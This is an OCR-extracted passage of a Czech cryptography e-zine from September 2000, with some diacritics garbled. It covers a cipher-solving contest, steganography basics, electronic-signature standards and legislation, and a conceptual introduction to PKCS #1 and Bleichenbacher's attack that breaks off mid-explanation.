dokument, ktery bude elektronicky podepsan, ale stalo se tak jest¢ pred datem nabyti
platnosti naseho zdkona o elektronickém podpisu (1.10.2000)? Pokud je mi zndmo, zadkon
tuto situaci nefesi.

V Briténii se zacalo pracovat na projektu Noemova archa 21.stoleti s cilem archivovat, tj.
dokumentovat a bezpecné ulozit na jednom misté¢ obrazky a zvuky vSech ohrozenych
zvirat a rostlin na svété. (http://www.arkive.co.uk ).

Dobrovolny "internetovy" vézen DotComGuy, odkazany jen na sebe a sviij pocitac,
oslavil malé jubileum svého pobytu v pronajatém domé v Dallasu. 26-ti lety inZenyr
Mitch Maddox se dobrovolné zavazal na dobu jednoho roku zalozit sviij zivot jen na
vyuzivani e-komerce. Nastéhoval se do prazdného domu a zménil své obcanské jméno na
piezdivku DotComGuy. Nyni je jiz 8 mésicli zavieny v obkli¢eni internetovych kamer,
pficemz pro své kazdodenni potfeby milZze vyuzivat jen internet a sluzby, které tato sit’
poskytuje.
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Crypto-World

Informacni sesit GCUCMP

Ro¢nik 2, ¢islo 9/2000 10.zaFi 2000

9/2000

Pripravil : Mgr.Pavel Vondruska,
¢len GCUCMP, BITIS, IACR, ISACA.
Sesit je rozesilan registrovanym ¢tenaram.
Starsi seSity jsou dostupné na adresach

http://www.mujweb.cz/veda/gcucmp/
+ http://cryptoworld.certifikuj.cz

(190 e-mail vytiskii)

MMy
\Emaa

OBSAH : Str.
A. Soutéz ! Cast I. - Zatiname steganografii 2-5
B. Prehled standardi pro elektronické podpisy (vybér) (P.Vondruska) 6 - 9
C. Kryptografie a normy I. (PKCS #1) (J.Pinkava) 10-13
D. P=NP aneb jak si vydélat miliony (P.Vondruska) 14-16
E. Hrajeme si s mobilnimi telefony (tipy a triky) 17

F. Letem Sifrovym svétem 18-19

+ priloha : gold_bug.rtf
Dnesni ptilohou je klasicka povidka The Gold Bug od Edgara Allana Poea (dalsi informace k
priloze viz zavér ¢lanku "Cast 1.- Zaciname steganografii" , str.10 ) .
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A. Soutéz
Mgr. Pavel Vondruska ( NBU )

Dnesnim dnem zacina ohlaSend soutéz v lusténi riznych jednoduchych problému
spojenych s historickymi Sifrovymi systémy. Bude probihat ve ¢tyfech kolech. V kazdém
seSite¢  9/2000 az 12/2000 bude uvefejnéna jedna soutézni uloha a soucasné uveden
doprovodny text k dané uloze. Resitelé, kteii zaslou do data, které bude u kazdé tlohy
uvedeno, spravné feseni, budou slosovéani a dva vybrani ziskaji cenu kola. I po tomto datu
vSak lze spravna teSeni zasilat. Dne 15.12.2000 bude soutéz ukoncena a z teSiteli, ktefi
ziskali nejvice bodi, bude vylosovan celkovy vitéz. Celkovym vitézem se tedy muze stat i ten
soutézici, ktery se zapoji do soutéze, pozd¢€ji napt. az v prosinci, a feSeni vSech tloh odesle
najednou v ¢asovém limitu do 15.12.2000; piijde jen o moznost byt vylosovan jako vitéz kola.
Dne 20.12.2000 vyjde specialni ¢islo, ve kterém budou uvedena feseni tlloh ze vSech kol a
jméno celkového vitéze; uverejnime také mensi statistiku k celé soutézi. Ceny do soutéze
vénovaly firmy PVT a.s. a AEC spol. s r.o. (jednotliva kola), Globe CZ (cena pro celkového
vitéze). Cenami v jednotlivych kolech je registrace vaseho vetfejného klice u certifikacni
autority zdarma (1x u PVT , 1x u AEC). Jde o poskytnuti certifikdtu s nejvysSim
bezpecnostnim stupném ochrany na dobu 6 meésicti. Celkovou cenou je registrace domény
prvniho fadu + hosting na webu u firmy GLOBE CZ (v bézné hodnoté 5000,- K¢).

CERTIFIKAT

Infarmace ovefejnam ki

Identifilkatni Sislo : 451216944521
vefejni ki #:
Jméno . "Witéz kola"

Dalgi Odaje podle X093

Ukonieni platnosti c 1.5.2001
Fodpis CA 99 A1 C2B313 ..

Reseni uloh zasilejte pomoci komunikaéniho okna v oddilu - "P¥ihlaska k odbéru
seSitu Crypto-World, pfipominky, dotazy, soutéz" na URL adrese
http://www.mujweb.cz/veda/gcucmp/ . VaSe anonymita je zarucena. Uvedena budou pouze
celd jména jednotlivych vitézl (nebo bude-li si to doty¢ny prat, pak misto jména jeho e-mail

adresa). Pfipadné dotazy k soutézi Vam rad zodpovim.

Pléan celé soutéze :

74t - steganografie, terminologie

Rijen - jednoduch4 zdména

Listopad - transpozice

Prosinec - periodické heslo

20.12.2000 - vyhlaseni celkového vitéze
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Cast L. - Zaciname steganografii

Zakladni pojmy

Kryptologie (zjednoduSené véda o utajeni obsahu zprav) je véda, kterd ma stale mezi
lidmi nadech néceho tajemného. Ve stfedoveéku byla Casto soucdsti magie a néktefi
kryptologové byli pfimo obvinéni ze spojenectvi s ddblem. Kryptologie se déli na
kryptografii a kryptoanalyzu a dale se k ni fadi 1 steganografie.

Kryptografie se zabyva matematickymi metodami se vztahem k takovym aspektim
informacni bezpecnosti, jako je divérnost, integrita dat, autentizace entit a ptvodu dat.
Ptedchozi definice vychazi ze soucasného moderniho pojeti kryptografie. Ve starSim chapani
to byla predevSim disciplina, kterd se zabyvala pfevedenim textu (informace) do podoby, v
niz je obsah této informace skryt. Jejim ukolem tedy bylo predev§im ucinit vyslednou zpravu
necitelnou 1 v situacich, kdy je pIn€ prozrazena, zachycena tieti - nepovolanou stranou. Tim se
1i$1 od steganografie, jejimz tikolem je skryt samotnou existenci zpravy, ale zprava samotna
muze byt napsana nebo predana ve srozumitelné podobé. Kryptoanalyza je pak jakysi "opak"
kryptografie. Kryptoanalytici se snazi ziskat ze zaSifrované zpravy jeji pivodni podobu (nebo
alespon cast skrytych informaci). Tento proces se nazyva lusténi Sifrové zpravy a pokud je
kryptoanalytik GspéSny a podafi se mu vniknout do nékterého Sifrového systému, fekneme, Ze
Sifra byla zlomena nebo rozbita.

Hlavnim cilem kryptografie byl tedy rozvoj algoritmi, které lze pouzit ke skryti
obsahu zpravy ptfed vSemi s vyjimkou vysilajici a pfijimajici strany (utajeni) a mnohem
pozdéji piibyl rozvoj algoritmt slouzicich k jednoznacnému urceni osoby odesilatele
(identifikaci) a k ovéfeni spravnosti zpravy piijimajici stranou (autentizaci) a dalsi souvisejici
algoritmy.

Pivodni vysilanou zpravu nazyvdme otevienym textem. Tato zprava je nasledné
Sifrovdna pomoci néjakého kryptografického algoritmu. ZaSifrované zpravé tikdme Sifrovy
text. OdSifrovani je opacny postup vzhledem k zaSifrovani, je to pfevedeni Sifrového textu
zpét do podoby oteviené¢ho textu. Samotné slovo "Sifra" pak pochazi z terminologie arabské
matematiky. Prokazateln€ bylo pouzivano jiz v devatém stoleti naSeho letopoctu.

Steganografie

S formalni definici jsme se jiz seznamili - Ukolem steganografie je skryt samotnou
existenci zpravy, ale zprava samotna miZe byt napsana nebo predana ve srozumitelné podobé.
Je ztejmé, ze sem patii velké mnoZzstvi nejriaznéjSich technik utajeni zprav.

Herodotos ve svych Dé¢jinach zaznamenal nejstarSi piiklad vyuziti steganografie.
Jedna se o pon¢kud kuriozni pouziti, které stoji za zminku. Odesilatel zpravy Histiaeus napsal
zpravu na oholenou hlavu svému otroku, ktery ji po té, co mu zarostly vlasy, dopravil do
Milétu a pomohl tak ke koordinaci povstani proti PerSantim.

Je zaznamenana i jind technika, kterou Rekové v dob& véilky s PerSany pouzili

Demaratus, syn Aristona, zjistil termin, kdy kral Xerxes vytdhne s armadou proti Rekim.
Rozhodl se o tom své krajany ve zpravé informovat, seSkrabal vosk ze dvou dievénych
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psacich desticek a pfimo na dievo zpravu napsal. Tyto desti€ky opét zalil voskem, aby to pfi
nahodné kontrole vypadalo, Ze nejsou pouzité.

Ukolem tohoto &lanku neni sezndmit se se stovkami méné &i vice zdafilych zptisobi
utajeni zprav. Vyjmenujme zde jen nejpouzivanéjsi zptisoby:

- pouziti tajného inkoustu

- nékterd pismena v nezavadném textu byla propichdna Spendlikem , tato pismena
tvofila pfedavany utajeny text

- podobn¢ jsou néktera pismena v jinak nezavadném textu psdna napi. tucnéji (nebo
jinym sklonem, jsou mensi apod.)

- prva (druhd, posledni) pismena nékterych domluvenych slov v dopise tvoii kratky
utajeny text

- text je napsan na CtvereCkovany papir na predem domluvena mista a je obklopen
nezavadnym textem, piijemce piiloZi stejnou tabulku a ptecte si pfedavany text

- text Ize utajit (ovSem zpravidla jiz komplikovanéji napt. ve spojeni s kodovanim) i v
zapisu Sachové partie, ndvodu na vafeni, hackovani, katalogu objedndvané¢ho zbozi
apod.

- text Ize vlozit do souboru uloZzené¢ho v nékterém ze znamych format (*.jpg, *.bmp,
*.doc, *.htm) takovym zplisobem, ze pfi pouziti pfisluSného asociovaného prohlizece
se text nezobrazi na obrazovce, ale pii vypisu "fyzického" obsahu souboru lze text
najit apod.

Vsechny vyse uvedené¢ metody byly skute¢né€ pouzivany a nutno fici, ze za jistych
okolnosti mohou byt pouzivany uspésné. Vyhodou je, ze piredavani informace timto
zpiisobem nemusi vzbudit podezieni, zatimco Sifrovy text (i kdyZ jej nelze rozlustit) pfimo
fika - tato zprava a jeji odesilatel chtéji néco utajit ....

Na zavér jeden jednoduchy piiklad. Prectéte si znovu pozorné odstavec o tom, jak
Demaratus informoval své krajany o nebezpeci perského vpadu. Budete-li ¢ist pouze tu¢na
pismena, ziskate kratkou zpravu : "Jsem prozrazen. Kon¢im tu." .

Obecny navod na ziskdvani téchto zprav neexistuje. Je nutné pozorné cCist, hodné
veédét, divat se, premyslet a byt pfipraven ...

Ukol ¢islo jedna - utajeni

Nas prvni tkol uvedeme citaci ze starSiho ¢isla tohoto e-zinu.

Crypto-World 2/2000 , Letem Sifrovym svétem, druhy odstavec, str. 9

Na adrese http://www.gchqg.gov.uk/careers/ naleznete informace o volnych mistech v anglické
GCHQ (Government Communications Headquarters). GCHQ chce obsadit celkem 100 svych
volnych mist. Hledaji se pfedevSim odbornici na komunikace, pocitace, jazykovi odbornici a
matematici. Matematikiim se nabizi prace na : " analysis of complex signals, code-breaking
techniques and code construction " (prosté luSténi cizich zprav). Stac¢i vyplnit piihlasku ,
dozvite se , ze pfednost maji mladi zajemci s PhD, znalostmi jazykl ze specifikovanych
oblasti (napf. vychodni Evropa) a zajemci, ktefi dokazi vylustit text ulozeny na webovské
strance organizace (zijemce z CR zklamu - poZzaduje se narodnost anglicka). O zkusebnim
textu se na jiném misté dozvite pouze to, ze jej musite vylustit do 25.2.2000, Ze je rozdelen do
5-ti casti, kazda ¢ast obsahuje 5 znakl, kazda ¢ast je zamaskovana nebo ptimo ukryta v jiné
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casti www stranky. Ziskané ¢asti je potieba poskladat ve spravném poradi a tuto zpravu
piilozit k Zadosti o misto. Prozatim zaslalo spravné feSeni 14 Zadateld.

Bleichley Manor

Jesté ptipomenme, s kym mame tu Cest :

GCHQ (Government Communications Headquarters) se proslavila uz za 2. svétové valky. V
té dob& ovSem pulisobila pod nazvem Government Code and & Cypher School - GC&CS, ale
byla vSeobecn¢ znama pod ndzvem Bletchley Park podle mista svého tehdejsiho sidla.

A nyni kone¢né k dnes$ni tiloze. Prvni ukol je obdobny uloze pro nové zajemce o
praci v GCHQ. Ukolem je sestavit ukryty text, o némz vite, Ze je rozd&len do 5-ti &asti, kazda
cast obsahuje 5 znaki, kazda ¢ast je zamaskovana nebo pfimo ukryta v néjaké Casti www
stranky GCUCMP (http://www.mujweb.cz/veda/gcucmp ; pozor - nikoliv na URL
http://cryptoworld.certifikuj.cz ) . Ziskané Casti je potifeba poskladat ve spravném potadi a
tuto zpravu zaslat co nejdiive na adresu vyhlaSovatele soutéze. Uloha je jednodussi proti
origindlni uloze v tom, Ze mé stranky jsou nesrovnatelné¢ mensi a prehlednéj$i nez www

wrwe

béhem dvou tydni originalni ilohu GCHQ vyfiesilo jen 14 uchazecu.
Tato tloha opravdu neni tak lehka a 1ze za ni ziskat 10 bod.
Pteji peknou zabavu.

Pristé¢ se budeme vénovat jednomu z nejzndméjsich Sifrovych systémi - jednoduché
zaméné. Jako studijni materidl k této problematice ptikladam (v pfiloze) dnes jiz klasickou
povidku "The Gold Bug" od Edgara Allana Poea. V této povidce je pfedveden zptsob lusténi
Sifrového textu pomoci porovnani frekvence jeho znakl s frekvenci znakl pouZitého jazyka.
Povidka je proti origindlu upravena tak, aby k jejimu porozuméni stacila slovni zésoba asi
1000 slov.
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B. Prehled standardii pro elektronické podpisy (vybér)
Mgr. Pavel Vondruska (NBU)

Historie elektronickych podpist neni dlouha, fakticky zahrnuje poslednich pét let.

UTAH

Prvni dokument tohoto druhu viibec byl ptijat v USA v roce 1995 . Byl jim dnes jiz v
mnoha smérech piekonany dokument UTAH Digital Signature Act.

EVROPA - Némecko

Evropa néasledovala USA aZ po dvou letech - v roce 1997. Prvni zemi, kterd zde pfijala

zdakon o digitdlnim podpisu, bylo Némecko. Praktické zkuSenosti s budovanim celé
infrastruktury a s fesSenim praktickych problému jsou zde z evropskych zemi nejvetsi.
Zakon o elektronickém podpisu byl v Némecku piijat v souvislosti se zdkonem o informacich
a telekomunikacich (4.7.1997) a vstoupil v platnost 1.8.1997. Némecko se stalo historicky
prvnim statem, ktery zdkonem upravil ramcové podminky pro ovéteni platnosti digitdlniho
podpisu a pouzivani nezbytnych kryptografickych prostiedk.

Zakladni teze:

- stanovi pravidla pro vznik systému certifikacnich autorit (CA) na zéklad¢ volné soutéze a
pravidla pro jejich uznavani a kontrolu, definuje miniméalni pozadavky na bezpecnost CA

- zakotvuje prukaznost digitdlniho podpisu v souvislosti s pouzivanim elektronickych
dokumenti

- neomezuje pouziti technickych prosttedkl pro digitalni podpis na Zddné ndrodni standardy a
zanechava si moznost integrace tohoto systému do mezinarodniho prosttedi

- uznava privatni podepisovaci kli¢ jako unikat, kterym je mozZno jednoznaéné prokazat
autenticitu jeho pouziti danou osobou, a zaroven stanovuje pozadavek ochrany tohoto klice
"vS§emi dostupnymi technickymi a organizac¢nimi prostfedky".

EVROPA - Ostatni

Vzhledem k dal$imu vyvoji v Evrop€ je vSak nutno fici, Ze némecky model je v
detailech v soucasné dob¢ nevyhovujici a probihd harmonizujici Gprava stavajici legislativy s
body uvedenymi ve Smérnici Evropské unie.

Dalsi zemé¢, které nasledovaly po Némecku, byly Velkd Britanie, Italie, Svédsko,
Belgie (socialné-identifikaéni karty v tomto roce ziskaji vSichni ob¢ané), Rakousko (vydany
elektronické studentské prukazy INDEX a vydavaji se priikazy obcCana pro socidlni a
dichodové pojisténi a ucely), Finsko ...

Brzy se ukazalo, Ze v této oblasti je tieba, aby zédkony v jednotlivych zemich provazel
urcity jednotici prvek. Podepsané dokumenty v elektronické podobé putuji i mimo hranice
statu, kde vznikly a je potieba zajistit platnost pfisluSnych elektronickych podpist, a to jak
z hlediska legislativniho, tak z hlediska technického (vytvafeni podpisti, ovétovani podpist,

)
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UNCITRAL

Prvni dtleZitou celoevropskou iniciativou byl ,,Vzorovy zakon UNCITRAL o
elektronickém obchodu® (1997). V tomto dokumentu se poprvé objevila snaha vytvorit
takovy obecny pfistup k elektronickym podpistim, ktery by byl nezéavisly na konkrétnich
pouzitych technologiich.

Vyvoj v této problematice vSak jde velmi rychle doptedu - napt. pfistup ve zminéném
dokumentu Uncitral je dnes jiz povaZzovan svym zpusobem za zastaraly. Je to dano tim, ze v
soucasnosti neni provazen cilenou snahou vytvofit jednotnou smysluplnou koncepci, ale spise
slouzi ke shrnuti toho podstatného, co se dnes ve svété v této problematice déje.

Smérnice EU (DIRECTIVE 1999/93/EC)

Staty Evropské Unie se dohodly na jednotném piistupu k feSeni elektronického
podpisu. Dva roky byl pfipravovan jeden ze stéZejnich dokumentii o elektronickém podpisu v
ramci EU. Smérnice EU k elektronickému podpisu byla 13. 12. 1999 schvélena Evropskou
komisi. Vlady jednotlivych ¢lenskych zemi EU maji za kol uvést principy a poZadavky této
Smérnice do svého zakonodarstvi nejpozdéji do 19. 7. 2001.

Smérnice se zabyva elektronickymi podpisy pfedevs§im z hlediska specidlniho typu
tzv. zaruCenych elektronickych podpist, které maji byt pravné ekvivalentni klasickym
vlastnoru¢nim podpistim. Zaméfuje se na pravni platnost elektronického podpisu, ktery je
pripojen k elektronickému dokumentu. Smérnice stanovi zakladni pozadavky, které maji byt
splnény poskytovateli sluzeb spojenych s elektronickymi podpisy (certifikani autority) a
dalsi pozadavky vztahujici se k podepisujici a ovétujici strang.

Smérnice byla vypracovana tak, aby byly dodrzeny tfi nasledujici principy:

a) technologicka neutralita

b) pro poskytovatele certifikacnich sluzeb neni definovano zadné schéma pro autorizaci
k provadéni téchto sluzeb tak, aby v budoucnu zde existovala principidlni moznost
technologickych inovaci;

¢) upraveni zakonné platnosti elektronickych podpist tak, aby nemohlo byt odmitnuto jejich
pouziti (napf. jako soudni dikaz) na zaklad¢ toho, ze jsou v elektronické podob¢ a byla
zarucena ekvivalence s ruéné napsanym podpisem.

EESSI (European Electronic Signature Standardisation Initiative)

Pro feSeni problému souvisejicich s praktickymi aplikacemi elektronickych podpist
v zemich EU je velice dillezitym dokumentem zavérecna zprava EESSI - Final Report of the
EESSI Expert Team.

Zékladnim cilem dokumentu je analyza potieb v oblasti standardizace na podporu
Smérnice EU. Odborna komise zpracovala rozsadhly dokument, ktery byl vydan v Cervenci
1999. Jeho cilem nebylo ustaveni povinnych standardii a norem, které¢ by podporovaly
Smérnici, ale identifikace pozadavki, které by mély pomoci otevienému trhu produkti a
sluzeb spliujicich pozadavky Smérnice.

24
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1) prevzeti resp. vyvoj prumyslovych norem by mélo uleh¢it vydavani vyhlasek v dané
oblasti , vyhlasky se tak nebudou muset zabyvat technickymi detaily;

2) normy jsou nezbytné¢ nutné, kde je to mozné, je tfeba upfednostnit jiz existujici
mezinarodni normy pifed vyvojem novych norem;

3) pozadavky v oblasti norem jsou dvojiho druhu: kvalitativni a proceduralni normy tykajici
se informacni bezpecnosti a technické normy vzhledem k interoperabilité produkti;

4) podepisovaci prostiedky (produkty) musi projit pfisluSnym hodnocenim (shoda produktu)
a certifikaci akreditovanou instituci pod EN 45000 (Evropské akredita¢ni schéma) -
potom budou bezpe¢né dle pozadavkiti Smérnice EU;

5) je potieba vytvofit spoleCnou platformu na zdkladé¢ definice vychozi mnoZiny
technologickych komponent, ktera bude tvofit technicky ramec pro ovérovani
kvalifikovanych elektronickych podpisi vyuzivajicich asymetrickou kryptografii a
digitalni certifikaty;

6) vzhledem k poskytovatelim certifikacnich sluzeb je tfeba pouzit vhodné bezpecnostni
normy:

- obecné zasady v oblasti bezpecnosti (napt. BS7799 €. 1 a €. 2),

- specifikace bezpecnostnich pozadavki vzhledem k divéryhodnym systémtm, které
tito poskytovatelé pouzivaji; pozadavky vtéto oblasti se tykaji predevSim
kryptografickych modult (napt. FIPS 140-1) a vyuziti rizikové analyzy,

- vychozi certifikacni politika pro poskytovatele certifikacnich sluzeb — je
doporucovano vyjit z materidlu IETF PKIX — rfe. 2527,

- obdobn¢ pro poskytovatele sluzeb v oblasti Casovych razitek je tieba provést
specifikaci pozadavki vzhledem k jejich bezpe€nostni politice;

7) vzhledem k produktim slouZzicim k vytvareni podpist a jejich oveéfovani je tieba mit
k dispozici nasledujici pfislusné normy:

- specifikace bezpecnostnich pozadavkii na diivéryhodna hardwarova zatizeni, ktera
jsou pouzita jako bezpecnd zafizeni pro vytvaieni podpisi (FIPS 140-1, Common
Criteria — ISO 15408),

- specifikace pro vytvafeni elektronickych podpisti a specifikace produktl a postupi
k ovétovani podpist;

8) je nezbytna koordinace jednotlivych aktivit v oblasti norem,;

9) zhlediska interoperability jsou nezbytné nasledujici normy:

- technické normy pro syntaxi a kodovani elektronickych podpisi (vcetné
vicenasobnych podpisii); je doporuc¢ovano vyjit z rfc.23185,

- operativni protokoly pro fizeni PKI (rfc skupiny PKIX),

- profily kvalifikovanych certifikatt na bazi X.509.

Samotny dokument obsahuje velice uzite¢né analyzy jednotlivych okruhii problémut a

muze slouzit jako kvalitni vychodisko i1 pro feSeni fady praktickych problémi v oblasti

elektronickych podpist, certifikatl a poskytovateli certifikacnich sluzeb.

EESSI (Work-plan for ETSI electronic signature standardisation)

Druhé faze programu EESSI byla zahdjena schvalenim pracovniho planu ETSI electronic
signature standardisation dne 12.10.1999. Dle tohoto planu maji byt do konce roku 2000
vydany nésledujici standardy:

- Policies for CSPs (C)

- Electronic signature formats (H), (R)

- Standard for the use of X.509 public key certificates as qualified certificates

- ()Protocol to interoperate with a Time Stamping Authority (M)
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Jiz v kvétnu 2000 byl ptijat prvy z téchto standardii Electronic Signature Formats (ETSI
ES 201 733 V1.13 2000-05) . Jedna se o podrobny a rozsahly dokument o celkové velikosti
96 stran. Obsahuje fadu velice uzite¢nych podnétii zejména z hlediska aplikace tzv. ¢asovych
znacek pro elektronické podpisy. Dokument se také zabyva archivaci elektronicky
podepsanych dokumentd, aniz by tento podpis ztratil svoji pravni platnost.

Nasledoval draft dal§tho dokumentu Policies for CSP (C), ktery byl zpfistupnén
15.7.2000. Ptipominkové fizeni kon¢i 15.9.2000.

Na zbyvajicich standardech se pracuje a pfipravuji se v podobé prvého draftu, ptipadné
jsou v predbézném pripominkovém fizeni.

Ceska republika

Zakon o elektronickém podpisu podepsal prezident Ceské republiky Vaclav Havel
11.7.2000. Tento zakon nabyva Gc€innosti 1.10.2000. Chybi vypracovani vyhlasek a piijeti
piislusnych norem a standardd. Za tuto oblast zodpovidda UOOU (Utad pro ochranu osobnich
udaja).

Prehled relevantnich standardi a norem (vybér)

IETF RFC 2527 Internet X.509 Public Key Infrastructure Certificate Policy and
Certification Practices Framework

e ANSI X9.79 Financial Services — PKI — Practices and Policy framework
e BS 7799 Code of Practice for Information Security Management
e [SO 15782 Banking -- Certificate Management

e [SO TR 13335 Guidelines for the Management of Information Technology Security-
GMITS

e ISO PDTR 14516 Guidelines on the use and management of Trusted Third Party services
e ISO 15408 Evaluation criteria for IT security

e UK CESG “Cloud cover” Baseline CA protection profile

e ICC GUIDEC, E-terms

e American Bar Association PKI Assessment Guidelines

e NIST PKI Project Team: Security Requirements for Certificate Issuing and Management
Components
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C. Kryptografie a normy
Ing. Jaroslav Pinkava, CSc. (AEC spol. s r.o.)

Dil 1.
Normy PKCS (Public-Key Cryptographic Standards) - PKCS #1.

Uvod

Dnesni kryptografie prochdzi v obdobi poslednich pétadvaceti let boutflivym vyvojem.
Podstatné vzrostla mohutnost jejiho zabéru. Vyvinul se novy teoreticky aparat, ale 1 zdsadnim
zpusobem se zménily oblasti, ve kterych je kryptografie aplikovana. Kli¢ovym momentem se
stdvaji situace, kdy aparat kryptografie je zapotiebi vyuzivat v rozsédhlych vypocetnich sitich
s mnozstvim jednotlivych ucastnikd.

Oproti klasickym uzitim kryptografie (vojenstvi, diplomacie) zde dochazi k posunu
pfedevsim v charakteru pozadavku na jeden zdkladni moment pii vlastnim Sifrovani. Tim je
utajeni pouzivaného kryptografického algoritmu. Jist¢ — potencialni protivnik ma pfi lusténi
zaSifrované korespondence vyznacné ztizenou roli, pokud ani nevi jaky algoritmus byl pro
Sifrovani pouzit. AvSak tento moment utajeni pouzitého algoritmu se pii soucasnych
aplikacich stava neredlnym. Aby se v rozsahlych sitich mohli utajené¢ domluvit v zasad¢
libovolni dva castnici této sité, je zapotiebi, aby prostiedky zabezpecujici ochranu informace
pii pfenosu, zabezpecujici také napi. vzajemnou autentizaci téchto ucastnikii, byly néjakym
zpisobem unifikovéany (lit. [1]). Takovato unifikace téchto prostfedki je pak vlastné smyslem
vytvareni kryptografickych norem a navaznych doporuceni. Napiiklad pro feSeni takovych
aplikaci, jako jsou prostfedky pro elektronicky podpis (napf. vramci e-governmentu),
prostiedky pro bezpe¢ny elektronicky obchod atd. je existence obecnych norem a doporuceni
nezbytna.

Historicky, pokud je autorovi znamo, prvni takovouto (vefejnou) normou byla
americka vladni norma DES zroku 1977. V brzké dobé na tuto normu navézali dalsi
dokumenty specifikujici dalsi postupy souvisejici s vyuzivanim algoritmu blokové Sifry, ktery
je v DES definovan. Posléze (napi. se zavadénim prostredki asymetrické kryptografie) se
objevila celd tfada vladnich, ale i pramyslovych doporuceni, ktera tesi dil¢i okruhy
kryptografické problematiky.

V tomto cCisle Crypto-Worldu zahajuje serial, ktery si klade za cil provést Ctenaie
mnozstvim dnes jiz existujicich norem v oblasti kryptografie, ukazat oblasti, kterych se tyto
normy tykaji a trochu podrobnéji objasnit jejich smysl.

Samoziejmé, dnes existuje nepfeberné mnozstvi norem, které se n¢jakym zplisobem
kryptografie dotykaji a dost t€Zko se hledaji kriteria, pomoci kterych by se tyto normy (a
souvisejici doporuceni) daly utiidit. Mozné by se dalo zacit i néjakou diskusi na téma
samotného pojmu ,norma‘“. AvSak pro pojeti tohoto seridlu bych se chtél orientovat
piedevsim na obsahovou stranku problematiky (a nikoliv formalni). Vznika otazka, jakou tedy
zvolit konkrétni cestu vykladu. Pro start seridlu byly zvoleny normy (doporuceni) zndmé
americké firmy RSA tzv. PKCS (Public-Key Cryptographic Standards) a to vlastn¢ ze dvou
divodu. Jednak tyto normy jsou pomérné zna¢né riiznorodé a umozni tak ziskat urcity prvotni
obrazek o celkové variabilit¢ zaméteni norem pouzivanych v kryptografii. Jednak tyto normy
jsou dnes Siroce znamé a predevSim jsou pouzité v celé fadé¢ dneSnich kryptografickych
produkti. Kromé zvetfejnéni novych norem (resp. novych variant téchto norem) na
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webovskych strankach firmy RSA Security a probihajicich vetejnych internetovych diskusi
k témto normam je tfeba jest¢ zminit pravidelné konani workshopti. Napt. v dubnu leto$niho
roku byl workshop vénovan PKCS #11 (Cryptographic Token Interface) a PKCS #15
(Cryptographic Token Information Format). Obdobné bude zamé&fen i druhy leto$Sni workshop
v Bostonu, ktery se bude konat v fijnu. V zéii loiiského roku byly ve Stockholmu projednany
nové varianty fakticky vSech PKCS.

Mimochodem — chcete vytvofit svoji vlastni normu? V takovém piipad¢ si prectéte
nejprve doporuceni znamého vyvojaie v oblasti kryptografického softwaru Petera Gutmanna
(http://www.cs.auckland.ac.nz/~pgut001/pubs/pfx.html).

PKCS

Normy PKCS jsou vytvateny v laboratofich svétoznamé firmy RSA Security (dfive
RSA) ve spolupraci s fadou vyvojait z celého svéta. Poprvé tyto normy byly publikovany
vroce 1991 jako vysledek jednani urcit¢ skupiny pracovnikii, ktefi implementovali
technologii kryptografie s vefejnym kli¢em. Od té doby jsou tyto normy Siroce vyuZivany a
n¢kterd jejich doporuceni se staly soucasti celé fady dalSich norem (oficidlnich i de facto).

Co je vlastnim obsahem téchto norem? Za¢neme nejprve urCitym celkovym
piehledem.

Dnes existuji nasledujici PKCS.
e PKCS #1:RSA Cryptography Standard

o PKCS #3:Diffie-Hellman Key Agreement Standard

o PKCS #5:Password-Based Cryptography Standard

o PKCS #6:Extended-Certificate Syntax Standard

o PKCS #7:Cryptographic Message Syntax Standard

e PKCS #8:Private-Key Information Syntax Standard

e PKCS #9:Selected Attribute Types

o PKCS #10:Certification Request Syntax Standard

o PKCS #11:Cryptographic Token Interface Standard

o PKCS #12:Personal Information Exchange Syntax Standard
o PKCS #13: Elliptic Curve Cryptography Standard

e PKCS #15: Cryptographic Token Information Format Standard

(Poznamka: PKCS #13 k eliptickym kiivkdm jeSté nebyl zvetejnén, existuje zatim pouze
projekt, norma je ve stadiu vyvoje. Piivodni PKCS #2 a PKCS #4 byly nasledn¢ v¢lenény do
PKCS #1).
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PKCS #1

Co je obsahem normy PKCS #1 napovida jiz sdm nazev. Popisuje postup (symbolicky
znaCeny jako rsaEncryption) pro zaSifrovani dat pomoci kryptosystému RSA. Postup je
zamyslen pro pouziti pti konstrukcei digitalniho podpisu a digitalnich obalek v navaznosti na
PKCS #7. Pro digitalni podpisy je obsah podepisované zpravy nejprve vyjadien pomoci
otisku této zpravy (s vyuzitim hashovaci funkce jako MDS5) a potom oktetovy fetézec
vyjadiujici tento otisk je zaSifrovan soukromym RSA kli¢em podepisujici strany. Obsah
zpravy a zaSifrovany otisk zpravy je pak vyjadien ve formatu definovaném PKCS #7.

Pii vytvareni digitdlnich obalek je zprava nejprve zaSifrovana (symetrickym
algoritmem, jako je napt. 3-DES). Pouzity symetricky (tajny) kli¢ je v zaSifrované podobé
rovnéz soucasti zpravy zformatované dle PKCS #7 (kli¢ je zaSifrovan vefejnym RSA kli¢em
adresata).

Z hlediska vyvoje norem PKCS je to vlastné Ustfedni material, ktery proSel rozsahlym
vyvojem. Podstatnych Uprav doznala tato norma zejména po zvetfejnéni nového typu utoku
Danielem Bleichenbachrem (lit. [3]). Tento utok byl opublikovan v roce 1998, v t¢ dobé méla
platnd verze PKCS #1 ¢islo 1.5.

Jak vlastn¢ Bleichenbacheriv utok (tzv. Chosen-Ciphertext Attack, tj. utok
s volitelnym Sifrovym textem) probiha.

Ve verzi 1.5 PKCS #1 zasila strana 4 strané B zpravu, ktera je vytvarena nasledovné.
Vetejnym klicem je dvojice (n=pgq, e), kde n je modul, jehoz faktorizace je utajovana a e je
piislusny exponent, sjehoz pomoci probiha Sifrovani. Oteviena zpriava m je doplnéna na
potiebny pocet bitli (dale budeme pouzivat termin doplnék jako preklad anglického vyrazu
padding, dle PKCS #1, version 1.5) a je tak ziskdna zprava M. Pak 4 spocte

C= M modn .

Druhd strana B ma k dispozici soukromy klic, tj. ¢isla (p,q,d), kde p a g tvoti rozklad n na
prvocisla a d je exponent slouzici k deSifrovani. Strana B spocte

M = ¢ mod n,
a odstranénim doplnénych bitd (doplitku) ziskd zpravu m’. Pfitom strana B analyzuje tento
doplnék a pokud jeho vlastnosti odpovidaji, zprdvu piijme a obracené. Oznacme toto
rozhodnuti R, R=1 pokud je dopln€k spravny, R = 0, pokud je doplnék nespravny.

V Bleichenbacherové toku narusitel E (eavesdropper) se vydava za stranu A a zasila
stran¢ B specialn¢ vytvarené zpravy. Z reakce strany B zjistuje zda dopln€k zpravy je ¢i neni
spravny. Jak byl dle PKCS 1, v.1.5 tento dopln¢k vytvaren? Piredpoklddejme, ze modul n ma
